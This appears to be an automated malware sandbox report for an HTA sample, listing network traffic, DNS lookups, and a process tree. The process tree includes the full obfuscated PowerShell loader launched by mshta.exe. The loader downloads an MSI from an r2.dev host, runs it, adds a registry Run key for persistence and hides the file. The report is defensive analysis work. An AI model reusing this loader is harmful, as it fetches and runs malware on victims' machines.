Nov 23, 2024 00:58:12.569746017 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.575351000 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.575392008 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.575453043 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.575463057 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.575505972 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.589663982 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.589705944 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.589734077 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.589741945 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.589761019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.589778900 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.738280058 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.738359928 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.740868092 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.740943909 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.740955114 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.740998030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.746824026 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.746869087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.746905088 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.746912956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.746956110 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.747840881 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.747878075 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.747885942 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.747912884 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.753791094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.753839970 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.753870010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.753879070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.753941059 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.759720087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.759761095 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.759802103 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.759809971 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.759820938 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.760628939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.760699987 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.760705948 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.760778904 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.764877081 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.764921904 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.764961958 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.764972925 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.764991999 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.766561031 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.766617060 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.766623974 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.766668081 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.766798019 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.766854048 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.770260096 CET	49730	443	192.168.2.4	162.159.140.237

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 00:57:59.615928888 CET	59224	53	192.168.2.4	1.1.1.1
Nov 23, 2024 00:57:59.863346100 CET	53	59224	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 00:57:59.615928888 CET	192.168.2.4	1.1.1.1	0xbd4c	Standard query (0)	pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 00:57:59.863346100 CET	1.1.1.1	192.168.2.4	0xbd4c	No error (0)	pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Nov 23, 2024 00:57:59.863346100 CET	1.1.1.1	192.168.2.4	0xbd4c	No error (0)	pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	162.159.140.237	443	2676	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 23:58:01 UTC	105	OUT	GET /ONHQNHFT.msi HTTP/1.1 Host: pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev Connection: Keep-Alive
2024-11-22 23:58:01 UTC	293	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 23:58:01 GMT Content-Type: application/x-cfb Content-Length: 6766592 Connection: close Accept-Ranges: bytes ETag: "829e5e01899cac6e4326893afbf5be82" Last-Modified: Wed, 20 Nov 2024 11:11:25 GMT Server: cloudflare CF-RAY: 8e6cdd7aeda6c34f-EWR
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 00 04 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: ff 70 06 00 00 06 00 00 00 04 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 15 00 00 00 16 00 00 00 17 00 00 00 18 00 00 00 19 00 00 00 1a 00 00 00 1b 00 00 00 1c 00 00 00 1d 00 00 00 1e 00 00 00 1f 00 00 00 20 00 00 00 21 00 00 00 22 00 00 00 23 00 00 00 24 00 00 00 25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 31 00 00 00 32 00 00 00 33 00 00 00 34 00 00 00 35 00 00 00 36 00 00 00 37 00 00 00 38 00 00 00 39 00 00 00 3a 00 00 00 3b 00 00 00 3c 00 00 00 3d 00 00 00 3e 00 00 00 3f 00 00 00 40 00 00 00 41 00 00 00 42 00 00 00 43 00 Data Ascii: p !"#$%&'()*+,-./0123456789:;<=>?@ABC
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 5a 01 00 00 5b 01 00 00 5c 01 00 00 5d 01 00 00 5e 01 00 00 5f 01 00 00 60 01 00 00 61 01 00 00 62 01 00 00 63 01 00 00 64 01 00 00 65 01 00 00 66 01 00 00 67 01 00 00 68 01 00 00 69 01 00 00 6a 01 00 00 6b 01 00 00 6c 01 00 00 6d 01 00 00 6e 01 00 00 6f 01 00 00 70 01 00 00 71 01 00 00 72 01 00 00 73 01 00 00 74 01 00 00 75 01 00 00 76 01 00 00 77 01 00 00 78 01 00 00 79 01 00 00 7a 01 00 00 7b 01 00 00 7c 01 00 00 7d 01 00 00 7e 01 00 00 7f 01 00 00 80 01 00 00 81 01 00 00 82 01 00 00 83 01 00 00 84 01 00 00 85 01 00 00 86 01 00 00 87 01 00 00 88 01 00 00 89 01 00 00 8a 01 00 00 8b 01 00 00 8c 01 00 00 8d 01 00 00 8e 01 00 00 8f 01 00 00 90 01 00 00 91 01 00 00 92 01 00 00 93 01 00 00 94 01 00 00 95 01 00 00 96 01 00 00 97 01 00 00 98 01 00 00 99 01 00 Data Ascii: Z[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 02 00 00 b1 02 00 00 b2 02 00 00 b3 02 00 00 b4 02 00 00 b5 02 00 00 b6 02 00 00 b7 02 00 00 b8 02 00 00 b9 02 00 00 ba 02 00 00 bb 02 00 00 bc 02 00 00 bd 02 00 00 be 02 00 00 bf 02 00 00 c0 02 00 00 c1 02 00 00 c2 02 00 00 c3 02 00 00 c4 02 00 00 c5 02 00 00 c6 02 00 00 c7 02 00 00 c8 02 00 00 c9 02 00 00 ca 02 00 00 cb 02 00 00 cc 02 00 00 cd 02 00 00 ce 02 00 00 cf 02 00 00 d0 02 00 00 d1 02 00 00 d2 02 00 00 d3 02 00 00 d4 02 00 00 d5 02 00 00 d6 02 00 00 d7 02 00 00 d8 02 00 00 d9 02 00 00 da 02 00 00 db 02 00 00 dc 02 00 00 dd 02 00 00 de 02 00 00 df 02 00 00 e0 02 00 00 e1 02 00 00 e2 02 00 00 e3 02 00 00 e4 02 00 00 e5 02 00 00 e6 02 00 00 e7 02 00 00 e8 02 00 00 e9 02 00 00 ea 02 00 00 eb 02 00 00 ec 02 00 00 ed 02 00 00 ee 02 00 00 ef 02 00 00 Data Ascii:
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 05 00 ff ff ff ff ff ff ff ff 03 00 00 00 84 10 0c 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 50 62 79 31 68 3a db 01 03 00 00 00 40 14 00 00 00 00 00 00 05 00 53 00 75 00 6d 00 6d 00 61 00 72 00 79 00 49 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 02 01 0d 00 00 00 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 01 00 00 00 00 00 00 40 48 0f 43 2f 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: FPby1h:@SummaryInformation(@HC/B
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 15 00 00 00 30 00 00 00 00 00 00 00 40 48 ca 41 f9 45 ce 46 a8 41 f8 45 28 3f 28 45 38 42 b1 41 28 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 02 01 0a 00 00 00 01 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 00 00 2a 00 00 00 00 00 00 00 40 48 52 44 f6 45 e4 43 af 3f 12 3f 28 45 38 42 b1 41 28 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0@HAEFAE(?(E8BA(H*@HRDEC??(E8BA(H
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 71 06 00 00 eb 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff Data Ascii: q
2024-11-22 23:58:01 UTC	1369	IN	Data Raw: 00 00 00 0a 00 00 00 0b 00 00 00 fe ff ff ff 0d 00 00 00 0e 00 00 00 fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff fe ff ff ff 19 00 00 00 fe ff ff ff fe ff ff ff 1c 00 00 00 fe ff ff ff 1e 00 00 00 1f 00 00 00 20 00 00 00 21 00 00 00 22 00 00 00 23 00 00 00 24 00 00 00 25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 31 00 00 00 32 00 00 00 33 00 00 00 34 00 00 00 35 00 00 00 36 00 00 00 37 00 00 00 38 00 00 00 fe ff ff ff fe ff ff ff 3b 00 00 00 3c 00 00 00 3d 00 00 00 3e 00 00 00 3f 00 00 00 40 00 00 00 41 00 00 00 42 00 00 00 fe ff ff ff 44 00 00 00 45 00 00 00 46 00 00 00 47 00 00 00 48 00 00 00 Data Ascii: !"#$%&'()*+,-./012345678;<=>?@ABDEFGH

Target ID:	0
Start time:	18:57:57
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\es.hta"
Imagebase:	0xc20000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:57:57
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;
Imagebase:	0x6c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:57:57
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:58:14
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Imagebase:	0x320000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:58:14
Start date:	22/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff70f330000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:58:16
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.2160089196.00000000037EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:58:26
Start date:	22/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Imagebase:	0x7ff7a4db0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:58:28
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:58:35
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:58:36
Start date:	22/11/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Imagebase:	0x7ff7a4db0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:58:37
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:58:46
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:59:03
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:59:09
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:59:11
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000011.00000002.2556516016.0000000002CB0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:59:11
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:59:12
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
